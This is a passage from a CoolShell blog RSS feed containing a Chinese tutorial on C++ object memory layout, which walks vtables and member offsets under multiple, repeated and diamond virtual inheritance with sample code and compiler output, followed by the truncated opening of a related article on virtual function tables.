30px;\">3）在单一的继承中，被overwrite的虚函数在虚函数表中得到了更新。</p>\n<h4>多重继承</h4>\n<p>下面，再让我们来看看多重继承中的情况，假设有下面这样一个类的继承关系。注意：子类只overwrite了父类的f()函数，而还有一个是自己的函数（我们这样做的目的是为了用g1()作为一个标记来标明子类的虚函数表）。而且每个类中都有一个自己的成员变量：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12181\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/031.jpg\" alt=\"03\" width=\"328\" height=\"265\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/031.jpg 328w, https://coolshell.cn/wp-content/uploads/2014/12/031-300x242.jpg 300w\" sizes=\"(max-width: 328px) 100vw, 328px\" /></p>\n<p>我们的类继承的源代码如下所示：父类的成员初始为10，20，30，子类的为100</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">class Base1 {\npublic:\n    int ibase1;\n    Base1():ibase1(10) {}\n    virtual void f() { cout &lt;&lt; &quot;Base1::f()&quot; &lt;&lt; endl; }\n    virtual void g() { cout &lt;&lt; &quot;Base1::g()&quot; &lt;&lt; endl; }\n    virtual void h() { cout &lt;&lt; &quot;Base1::h()&quot; &lt;&lt; endl; }\n\n};\n\nclass Base2 {\npublic:\n    int ibase2;\n    Base2():ibase2(20) {}\n    virtual void f() { cout &lt;&lt; &quot;Base2::f()&quot; &lt;&lt; endl; }\n    virtual void g() { cout &lt;&lt; &quot;Base2::g()&quot; &lt;&lt; endl; }\n    virtual void h() { cout &lt;&lt; &quot;Base2::h()&quot; &lt;&lt; endl; }\n};\n\nclass Base3 {\npublic:\n    int ibase3;\n    Base3():ibase3(30) {}\n    virtual void f() { cout &lt;&lt; &quot;Base3::f()&quot; &lt;&lt; endl; }\n    virtual void g() { cout &lt;&lt; &quot;Base3::g()&quot; &lt;&lt; endl; }\n    virtual void h() { cout &lt;&lt; &quot;Base3::h()&quot; &lt;&lt; endl; }\n};\n\nclass Derive : public Base1, public Base2, public Base3 {\npublic:\n    int iderive;\n    Derive():iderive(100) {}\n    virtual void f() { cout &lt;&lt; &quot;Derive::f()&quot; &lt;&lt; endl; }\n    virtual void g1() { cout &lt;&lt; &quot;Derive::g1()&quot; &lt;&lt; endl; }\n};</pre>\n<p>我们通过下面的程序来查看子类实例的内存布局：下面程序中，注意我使用了一个s变量，其中用到了sizof(Base)来找下一个类的偏移量。（因为我声明的是int成员，所以是4个字节，所以没有对齐问题。关于内存的对齐问题，大家可以自行试验，我在这里就不多说了）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"27,45\">typedef void(*Fun)(void);\n\nDerive d;\n\nint** pVtab = (int**)&amp;d;\n\ncout &lt;&lt; &quot;[0] Base1::_vptr-&gt;&quot; &lt;&lt; endl;\npFun = (Fun)pVtab[0][0];\ncout &lt;&lt; &quot;     [0] &quot;;\npFun();\n\npFun = (Fun)pVtab[0][1];\ncout &lt;&lt; &quot;     [1] &quot;;pFun();\n\npFun = (Fun)pVtab[0][2];\ncout &lt;&lt; &quot;     [2] &quot;;pFun();\n\npFun = (Fun)pVtab[0][3];\ncout &lt;&lt; &quot;     [3] &quot;; pFun();\n\npFun = (Fun)pVtab[0][4];\ncout &lt;&lt; &quot;     [4] &quot;; cout&lt;&lt;pFun&lt;&lt;endl;\n\ncout &lt;&lt; &quot;[1] Base1.ibase1 = &quot; &lt;&lt; (int)pVtab[1] &lt;&lt; endl;\n\nint s = sizeof(Base1)/4;\n\ncout &lt;&lt; &quot;[&quot; &lt;&lt; s &lt;&lt; &quot;] Base2::_vptr-&gt;&quot;&lt;&lt;endl;\npFun = (Fun)pVtab[s][0];\ncout &lt;&lt; &quot;     [0] &quot;; pFun();\n\nFun = (Fun)pVtab[s][1];\ncout &lt;&lt; &quot;     [1] &quot;; pFun();\n\npFun = (Fun)pVtab[s][2];\ncout &lt;&lt; &quot;     [2] &quot;; pFun();\n\npFun = (Fun)pVtab[s][3];\nout &lt;&lt; &quot;     [3] &quot;;\ncout&lt;&lt;pFun&lt;&lt;endl;\n\ncout &lt;&lt; &quot;[&quot;&lt;&lt; s+1 &lt;&lt;&quot;] Base2.ibase2 = &quot; &lt;&lt; (int)pVtab[s+1] &lt;&lt; endl;\n\ns = s + sizeof(Base2)/4;\n\ncout &lt;&lt; &quot;[&quot; &lt;&lt; s &lt;&lt; &quot;] Base3::_vptr-&gt;&quot;&lt;&lt;endl;\npFun = (Fun)pVtab[s][0];\ncout &lt;&lt; &quot;     [0] &quot;; pFun();\n\npFun = (Fun)pVtab[s][1];\ncout &lt;&lt; &quot;     [1] &quot;; pFun();\n\npFun = (Fun)pVtab[s][2];\ncout &lt;&lt; &quot;     [2] &quot;; pFun();\n\npFun = (Fun)pVtab[s][3];\ncout &lt;&lt; &quot;     [3] &quot;;\ncout&lt;&lt;pFun&lt;&lt;endl;\n\ns++;\ncout &lt;&lt; &quot;[&quot;&lt;&lt; s &lt;&lt;&quot;] Base3.ibase3 = &quot; &lt;&lt; (int)pVtab[s] &lt;&lt; endl;\ns++;\ncout &lt;&lt; &quot;[&quot;&lt;&lt; s &lt;&lt;&quot;] Derive.iderive = &quot; &lt;&lt; (int)pVtab[s] &lt;&lt; endl;</pre>\n<p>其运行结果如下所示：（在VC++ 2003和G++ 3.4.4下）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">[0] Base1::_vptr-&gt;\n     [0] Derive::f()\n     [1] Base1::g()\n     [2] Base1::h()\n     [3] Driver::g1()\n     [4] 00000000      &lt;== 注意：在GCC下，这里是1\n[1] Base1.ibase1 = 10\n[2] Base2::_vptr-&gt;\n     [0] Derive::f()\n     [1] Base2::g()\n     [2] Base2::h()\n     [3] 00000000      &lt;== 注意：在GCC下，这里是1\n[3] Base2.ibase2 = 20\n[4] Base3::_vptr-&gt;\n     [0] Derive::f()\n     [1] Base3::g()\n     [2] Base3::h()\n     [3] 00000000\n[5] Base3.ibase3 = 30\n[6] Derive.iderive = 100</pre>\n<p>使用图片表示是下面这个样子：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12182\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/041.jpg\" alt=\"04\" width=\"500\" height=\"287\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/041.jpg 500w, https://coolshell.cn/wp-content/uploads/2014/12/041-300x172.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p>我们可以看到：</p>\n<p style=\"padding-left: 30px;\">1）  每个父类都有自己的虚表。</p>\n<p style=\"padding-left: 30px;\">2）  子类的成员函数被放到了第一个父类的表中。</p>\n<p style=\"padding-left: 30px;\">3）  内存布局中，其父类布局依次按声明顺序排列。</p>\n<p style=\"padding-left: 30px;\">4）  每个父类的虚表中的f()函数都被overwrite成了子类的f()。这样做就是为了解决不同的父类类型的指针指向同一个子类实例，而能够调用到实际的函数。</p>\n<h4>重复继承</h4>\n<p>下面我们再来看看，发生重复继承的情况。所谓重复继承，也就是某个基类被间接地重复继承了多次。</p>\n<p>下图是一个继承图，我们重载了父类的f()函数。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12188\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/051.jpg\" alt=\"05\" width=\"253\" height=\"393\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/051.jpg 253w, https://coolshell.cn/wp-content/uploads/2014/12/051-193x300.jpg 193w\" sizes=\"(max-width: 253px) 100vw, 253px\" /></p>\n<p>其类继承的源代码如下所示。其中，每个类都有两个变量，一个是整形（4字节），一个是字符（1字节），而且还有自己的虚函数，自己overwrite父类的虚函数。如子类D中，f()覆盖了超类的函数， f1() 和f2() 覆盖了其父类的虚函数，Df()为自己的虚函数。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">class B\n{\n    public:\n        int ib;\n        char cb;\n    public:\n        B():ib(0),cb(&#039;B&#039;) {}\n\n        virtual void f() { cout &lt;&lt; &quot;B::f()&quot; &lt;&lt; endl;}\n        virtual void Bf() { cout &lt;&lt; &quot;B::Bf()&quot; &lt;&lt; endl;}\n};\nclass B1 :  public B\n{\n    public:\n        int ib1;\n        char cb1;\n    public:\n        B1():ib1(11),cb1(&#039;1&#039;) {}\n\n        virtual void f() { cout &lt;&lt; &quot;B1::f()&quot; &lt;&lt; endl;}\n        virtual void f1() { cout &lt;&lt; &quot;B1::f1()&quot; &lt;&lt; endl;}\n        virtual void Bf1() { cout &lt;&lt; &quot;B1::Bf1()&quot; &lt;&lt; endl;}\n\n};\nclass B2:  public B\n{\n    public:\n        int ib2;\n        char cb2;\n    public:\n        B2():ib2(12),cb2(&#039;2&#039;) {}\n\n        virtual void f() { cout &lt;&lt; &quot;B2::f()&quot; &lt;&lt; endl;}\n        virtual void f2() { cout &lt;&lt; &quot;B2::f2()&quot; &lt;&lt; endl;}\n        virtual void Bf2() { cout &lt;&lt; &quot;B2::Bf2()&quot; &lt;&lt; endl;}\n\n};\n\nclass D : public B1, public B2\n{\n    public:\n        int id;\n        char cd;\n    public:\n        D():id(100),cd(&#039;D&#039;) {}\n\n        virtual void f() { cout &lt;&lt; &quot;D::f()&quot; &lt;&lt; endl;}\n        virtual void f1() { cout &lt;&lt; &quot;D::f1()&quot; &lt;&lt; endl;}\n        virtual void f2() { cout &lt;&lt; &quot;D::f2()&quot; &lt;&lt; endl;}\n        virtual void Df() { cout &lt;&lt; &quot;D::Df()&quot; &lt;&lt; endl;}\n\n};</pre>\n<p>我们用来存取子类内存布局的代码如下所示：（在VC++ 2003和G++ 3.4.4下）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">typedef void(*Fun)(void);\nint** pVtab = NULL;\nFun pFun = NULL;\n\nD d;\npVtab = (int**)&amp;d;\ncout &lt;&lt; &quot;[0] D::B1::_vptr-&gt;&quot; &lt;&lt; endl;\npFun = (Fun)pVtab[0][0];\ncout &lt;&lt; &quot;     [0] &quot;;    pFun();\npFun = (Fun)pVtab[0][1];\ncout &lt;&lt; &quot;     [1] &quot;;    pFun();\npFun = (Fun)pVtab[0][2];\ncout &lt;&lt; &quot;     [2] &quot;;    pFun();\npFun = (Fun)pVtab[0][3];\ncout &lt;&lt; &quot;     [3] &quot;;    pFun();\npFun = (Fun)pVtab[0][4];\ncout &lt;&lt; &quot;     [4] &quot;;    pFun();\npFun = (Fun)pVtab[0][5];\ncout &lt;&lt; &quot;     [5] 0x&quot; &lt;&lt; pFun &lt;&lt; endl;\n\ncout &lt;&lt; &quot;[1] B::ib = &quot; &lt;&lt; (int)pVtab[1] &lt;&lt; endl;\ncout &lt;&lt; &quot;[2] B::cb = &quot; &lt;&lt; (char)pVtab[2] &lt;&lt; endl;\ncout &lt;&lt; &quot;[3] B1::ib1 = &quot; &lt;&lt; (int)pVtab[3] &lt;&lt; endl;\ncout &lt;&lt; &quot;[4] B1::cb1 = &quot; &lt;&lt; (char)pVtab[4] &lt;&lt; endl;\n\ncout &lt;&lt; &quot;[5] D::B2::_vptr-&gt;&quot; &lt;&lt; endl;\npFun = (Fun)pVtab[5][0];\ncout &lt;&lt; &quot;     [0] &quot;;    pFun();\npFun = (Fun)pVtab[5][1];\ncout &lt;&lt; &quot;     [1] &quot;;    pFun();\npFun = (Fun)pVtab[5][2];\ncout &lt;&lt; &quot;     [2] &quot;;    pFun();\npFun = (Fun)pVtab[5][3];\ncout &lt;&lt; &quot;     [3] &quot;;    pFun();\npFun = (Fun)pVtab[5][4];\ncout &lt;&lt; &quot;     [4] 0x&quot; &lt;&lt; pFun &lt;&lt; endl;\n\ncout &lt;&lt; &quot;[6] B::ib = &quot; &lt;&lt; (int)pVtab[6] &lt;&lt; endl;\ncout &lt;&lt; &quot;[7] B::cb = &quot; &lt;&lt; (char)pVtab[7] &lt;&lt; endl;\ncout &lt;&lt; &quot;[8] B2::ib2 = &quot; &lt;&lt; (int)pVtab[8] &lt;&lt; endl;\ncout &lt;&lt; &quot;[9] B2::cb2 = &quot; &lt;&lt; (char)pVtab[9] &lt;&lt; endl;\n\ncout &lt;&lt; &quot;[10] D::id = &quot; &lt;&lt; (int)pVtab[10] &lt;&lt; endl;\ncout &lt;&lt; &quot;[11] D::cd = &quot; &lt;&lt; (char)pVtab[11] &lt;&lt; endl;</pre>\n<p>程序运行结果如下：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12187\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/06.png\" alt=\"06\" width=\"573\" height=\"499\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/06.png 573w, https://coolshell.cn/wp-content/uploads/2014/12/06-300x261.png 300w\" sizes=\"(max-width: 573px) 100vw, 573px\" /></p>\n<p>下面是对于子类实例中的虚函数表的图：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12186\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/061.jpg\" alt=\"06\" width=\"400\" height=\"305\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/061.jpg 400w, https://coolshell.cn/wp-content/uploads/2014/12/061-300x228.jpg 300w\" sizes=\"(max-width: 400px) 100vw, 400px\" /></p>\n<p>我们可以看见，最顶端的父类B其成员变量存在于B1和B2中，并被D给继承下去了。而在D中，其有B1和B2的实例，于是B的成员在D的实例中存在两份，一份是B1继承而来的，另一份是B2继承而来的。所以，如果我们使用以下语句，则会产生二义性编译错误：</p>\n<p>D d;<br />\nd.ib = 0; //二义性错误<br />\nd.B1::ib = 1; //正确<br />\nd.B2::ib = 2; //正确</p>\n<p>注意，上面例程中的最后两条语句存取的是两个变量。虽然我们消除了二义性的编译错误，但B类在D中还是有两个实例，这种继承造成了数据的重复，我们叫这种继承为重复继承。重复的基类数据成员可能并不是我们想要的。所以，C++引入了虚基类的概念。</p>\n<h4>钻石型多重虚拟继承</h4>\n<p>虚拟继承的出现就是为了解决重复继承中多个间接父类的问题的。钻石型的结构是其最经典的结构。也是我们在这里要讨论的结构：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12185\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/071.jpg\" alt=\"07\" width=\"253\" height=\"404\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/071.jpg 253w, https://coolshell.cn/wp-content/uploads/2014/12/071-187x300.jpg 187w\" sizes=\"(max-width: 253px) 100vw, 253px\" /></p>\n<p>上述的“重复继承”只需要把B1和B2继承B的语法中加上virtual 关键，就成了虚拟继承，其继承图如下所示：</p>\n<p>上图和前面的“重复继承”中的类的内部数据和接口都是完全一样的，只是我们采用了虚拟继承：其省略后的源码如下所示：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">class B {……};\nclass B1 : virtual public B{……};\nclass B2: virtual public B{……};\nclass D : public B1, public B2{ …… };</pre>\n<p>在查看D之前，我们先看一看单一虚拟继承的情况。下面是一段在VC++2003下的测试程序：（因为VC++和GCC的内存而局上有一些细节上的不同，所以这里只给出VC++的程序，GCC下的程序大家可以根据我给出的程序自己仿照着写一个去试一试）：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint** pVtab = NULL;\nFun pFun = NULL;\n\nB1 bb1;\n\npVtab = (int**)&amp;bb1;\ncout &lt;&lt; &quot;[0] B1::_vptr-&gt;&quot; &lt;&lt; endl;\npFun = (Fun)pVtab[0][0];\ncout &lt;&lt; &quot;     [0] &quot;;\npFun(); //B1::f1();\ncout &lt;&lt; &quot;     [1] &quot;;\npFun = (Fun)pVtab[0][1];\npFun(); //B1::bf1();\ncout &lt;&lt; &quot;     [2] &quot;;\ncout &lt;&lt; pVtab[0][2] &lt;&lt; endl;\n\ncout &lt;&lt; &quot;[1] = 0x&quot;;\ncout &lt;&lt; (int*)*((int*)(&amp;bb1)+1) &lt;&lt;endl; //B1::ib1\ncout &lt;&lt; &quot;[2] B1::ib1 = &quot;;\ncout &lt;&lt; (int)*((int*)(&amp;bb1)+2) &lt;&lt;endl; //B1::ib1\ncout &lt;&lt; &quot;[3] B1::cb1 = &quot;;\ncout &lt;&lt; (char)*((int*)(&amp;bb1)+3) &lt;&lt; endl; //B1::cb1\n\ncout &lt;&lt; &quot;[4] = 0x&quot;;\ncout &lt;&lt; (int*)*((int*)(&amp;bb1)+4) &lt;&lt; endl; //NULL\n\ncout &lt;&lt; &quot;[5] B::_vptr-&gt;&quot; &lt;&lt; endl;\npFun = (Fun)pVtab[5][0];\ncout &lt;&lt; &quot;     [0] &quot;;\npFun(); //B1::f();\npFun = (Fun)pVtab[5][1];\ncout &lt;&lt; &quot;     [1] &quot;;\npFun(); //B::Bf();\ncout &lt;&lt; &quot;     [2] &quot;;\ncout &lt;&lt; &quot;0x&quot; &lt;&lt; (Fun)pVtab[5][2] &lt;&lt; endl;\n\ncout &lt;&lt; &quot;[6] B::ib = &quot;;\ncout &lt;&lt; (int)*((int*)(&amp;bb1)+6) &lt;&lt;endl; //B::ib\ncout &lt;&lt; &quot;[7] B::cb = &quot;;\n</pre>\n<p>其运行结果如下（我结出了GCC的和VC++2003的对比）：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12184\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/070.png\" alt=\"070\" width=\"627\" height=\"308\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/070.png 627w, https://coolshell.cn/wp-content/uploads/2014/12/070-300x147.png 300w\" sizes=\"(max-width: 627px) 100vw, 627px\" /></p>\n<p>这里，大家可以自己对比一下。关于细节上，我会在后面一并再说。</p>\n<p>下面的测试程序是看子类D的内存布局，同样是VC++ 2003的（因为VC++和GCC的内存布局上有一些细节上的不同，而VC++的相对要清楚很多，所以这里只给出VC++的程序，GCC下的程序大家可以根据我给出的程序自己仿照着写一个去试一试）：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nD d;\n\npVtab = (int**)&amp;d;\ncout &lt;&lt; &quot;[0] D::B1::_vptr-&gt;&quot; &lt;&lt; endl;\npFun = (Fun)pVtab[0][0];\ncout &lt;&lt; &quot;     [0] &quot;;    pFun(); //D::f1();\npFun = (Fun)pVtab[0][1];\ncout &lt;&lt; &quot;     [1] &quot;;    pFun(); //B1::Bf1();\npFun = (Fun)pVtab[0][2];\ncout &lt;&lt; &quot;     [2] &quot;;    pFun(); //D::Df();\npFun = (Fun)pVtab[0][3];\ncout &lt;&lt; &quot;     [3] &quot;;\ncout &lt;&lt; pFun &lt;&lt; endl;\n\n//cout &lt;&lt; pVtab[4][2] &lt;&lt; endl;\ncout &lt;&lt; &quot;[1] = 0x&quot;;\ncout &lt;&lt;  (int*)((&amp;dd)+1) &lt;&lt;endl; //????\n\ncout &lt;&lt; &quot;[2] B1::ib1 = &quot;;\ncout &lt;&lt; *((int*)(&amp;dd)+2) &lt;&lt;endl; //B1::ib1\ncout &lt;&lt; &quot;[3] B1::cb1 = &quot;;\ncout &lt;&lt; (char)*((int*)(&amp;dd)+3) &lt;&lt; endl; //B1::cb1\n\n//---------------------\ncout &lt;&lt; &quot;[4] D::B2::_vptr-&gt;&quot; &lt;&lt; endl;\npFun = (Fun)pVtab[4][0];\ncout &lt;&lt; &quot;     [0] &quot;;    pFun(); //D::f2();\npFun = (Fun)pVtab[4][1];\ncout &lt;&lt; &quot;     [1] &quot;;    pFun(); //B2::Bf2();\npFun = (Fun)pVtab[4][2];\ncout &lt;&lt; &quot;     [2] &quot;;\ncout &lt;&lt; pFun &lt;&lt; endl;\n\ncout &lt;&lt; &quot;[5] = 0x&quot;;\ncout &lt;&lt; *((int*)(&amp;dd)+5) &lt;&lt; endl; // ???\n\ncout &lt;&lt; &quot;[6] B2::ib2 = &quot;;\ncout &lt;&lt; (int)*((int*)(&amp;dd)+6) &lt;&lt;endl; //B2::ib2\ncout &lt;&lt; &quot;[7] B2::cb2 = &quot;;\ncout &lt;&lt; (char)*((int*)(&amp;dd)+7) &lt;&lt; endl; //B2::cb2\n\ncout &lt;&lt; &quot;[8] D::id = &quot;;\ncout &lt;&lt; *((int*)(&amp;dd)+8) &lt;&lt; endl; //D::id\ncout &lt;&lt; &quot;[9] D::cd = &quot;;\ncout &lt;&lt; (char)*((int*)(&amp;dd)+9) &lt;&lt; endl;//D::cd\n\ncout &lt;&lt; &quot;[10]  = 0x&quot;;\ncout &lt;&lt; (int*)*((int*)(&amp;dd)+10) &lt;&lt; endl;\n//---------------------\ncout &lt;&lt; &quot;[11] D::B::_vptr-&gt;&quot; &lt;&lt; endl;\npFun = (Fun)pVtab[11][0];\ncout &lt;&lt; &quot;     [0] &quot;;    pFun(); //D::f();\npFun = (Fun)pVtab[11][1];\ncout &lt;&lt; &quot;     [1] &quot;;    pFun(); //B::Bf();\npFun = (Fun)pVtab[11][2];\ncout &lt;&lt; &quot;     [2] &quot;;\ncout &lt;&lt; pFun &lt;&lt; endl;\n\ncout &lt;&lt; &quot;[12] B::ib = &quot;;\ncout &lt;&lt; *((int*)(&amp;dd)+12) &lt;&lt; endl; //B::ib\ncout &lt;&lt; &quot;[13] B::cb = &quot;;\ncout &lt;&lt; (char)*((int*)(&amp;dd)+13) &lt;&lt;endl;//B::cb</pre>\n<p>下面给出运行后的结果（分VC++和GCC两部份）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12183\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/07.png\" alt=\"07\" width=\"630\" height=\"530\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/07.png 630w, https://coolshell.cn/wp-content/uploads/2014/12/07-300x252.png 300w\" sizes=\"(max-width: 630px) 100vw, 630px\" /></p>\n<p>关于虚拟继承的运行结果我就不画图了（前面的作图已经让我产生了很严重的厌倦感，所以就偷个懒了，大家见谅了）</p>\n<p>在上面的输出结果中，我用不同的颜色做了一些标明。我们可以看到如下的几点：</p>\n<p style=\"padding-left: 30px;\">1）无论是GCC还是VC++，除了一些细节上的不同，其大体上的对象布局是一样的。也就是说，先是B1（黄色），然后是B2（绿色），接着是D（灰色），而B这个超类（青蓝色）的实例都放在最后的位置。</p>\n<p style=\"padding-left: 30px;\">2）关于虚函数表，尤其是第一个虚表，GCC和VC++有很重大的不一样。但仔细看下来，还是VC++的虚表比较清晰和有逻辑性。</p>\n<p style=\"padding-left: 30px;\">3）VC++和GCC都把B这个超类放到了最后，而VC++有一个NULL分隔符把B和B1和B2的布局分开。GCC则没有。</p>\n<p style=\"padding-left: 30px;\">4）VC++中的内存布局有两个地址我有些不是很明白，在其中我用红色标出了。取其内容是-4。接道理来说，这个指针应该是指向B类实例的内存地址（这个做法就是为了保证重复的父类只有一个实例的技术）。但取值后却不是。这点我目前还并不太清楚，还向大家请教。</p>\n<p style=\"padding-left: 30px;\">5）GCC的内存布局中在B1和B2中则没有指向B的指针。这点可以理解，编译器可以通过计算B1和B2的size而得出B的偏移量。</p>\n<h4>结束语</h4>\n<p>C++这门语言是一门比较复杂的语言，对于程序员来说，我们似乎永远摸不清楚这门语言背着我们在干了什么。需要熟悉这门语言，我们就必需要了解C++里面的那些东西，需要我们去了解他后面的内存对象。这样我们才能真正的了解C++，从而能够更好的使用C++这门最难的编程语言。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12176.html\">C++ 对象的内存布局</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/12176.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>18</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C++ 虚函数表解析</title>\n\t\t<link>https://coolshell.cn/articles/12165.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/12165.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 18 Dec 2007 01:08:02 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=12165</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>C++中的虚函数的作用主要是实现了多态的机制。关于多态，简而言之就是用父类型别的指针指向其子类的实例，然后通过父类的指针调用实际子类的成员函数。这种技术可以让父...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/12165.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/12165.html\">C++ 虚函数表解析</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>C++中的虚函数的作用主要是实现了多态的机制。关于多态，简而言之就是用父类型别的指针指向其子类的实例，然后通过父类的指针调用实际子类的成员函数。这种技术可以让父类的指针有“多种形态”，这是一种泛型技术。所谓泛型技术，说白了就是试图使用不变的代码来实现可变的算法。比如：模板技术，RTTI技术，虚函数技术，要么是试图做到在编译时决议，要么试图做到运行时决议。</p>\n<p>关于虚函数的使用方法，我在这里不做过多的阐述。大家可以看看相关的C++的书籍。在这篇文章中，我只想从虚函数的实现机制上面为大家 一个清晰的剖析。</p>\n<p>当然，相同的文章在网上也出现过一些了，但我总感觉这些文章不是很容易阅读，大段大段的代码，没有图片，没有详细的说明，没有比较，没有举一反三。不利于学习和阅读，所以这是我想写下这篇文章的原因。也希望大家多给我提意见。</p>\n<p>言归正传，让我们一起进入虚函数的世界。</p>\n<h4>虚函数表</h4>\n<p>对C++ 了解的人都应该知道虚函数（Virtual Function）是通过一张虚函数表（Virtual 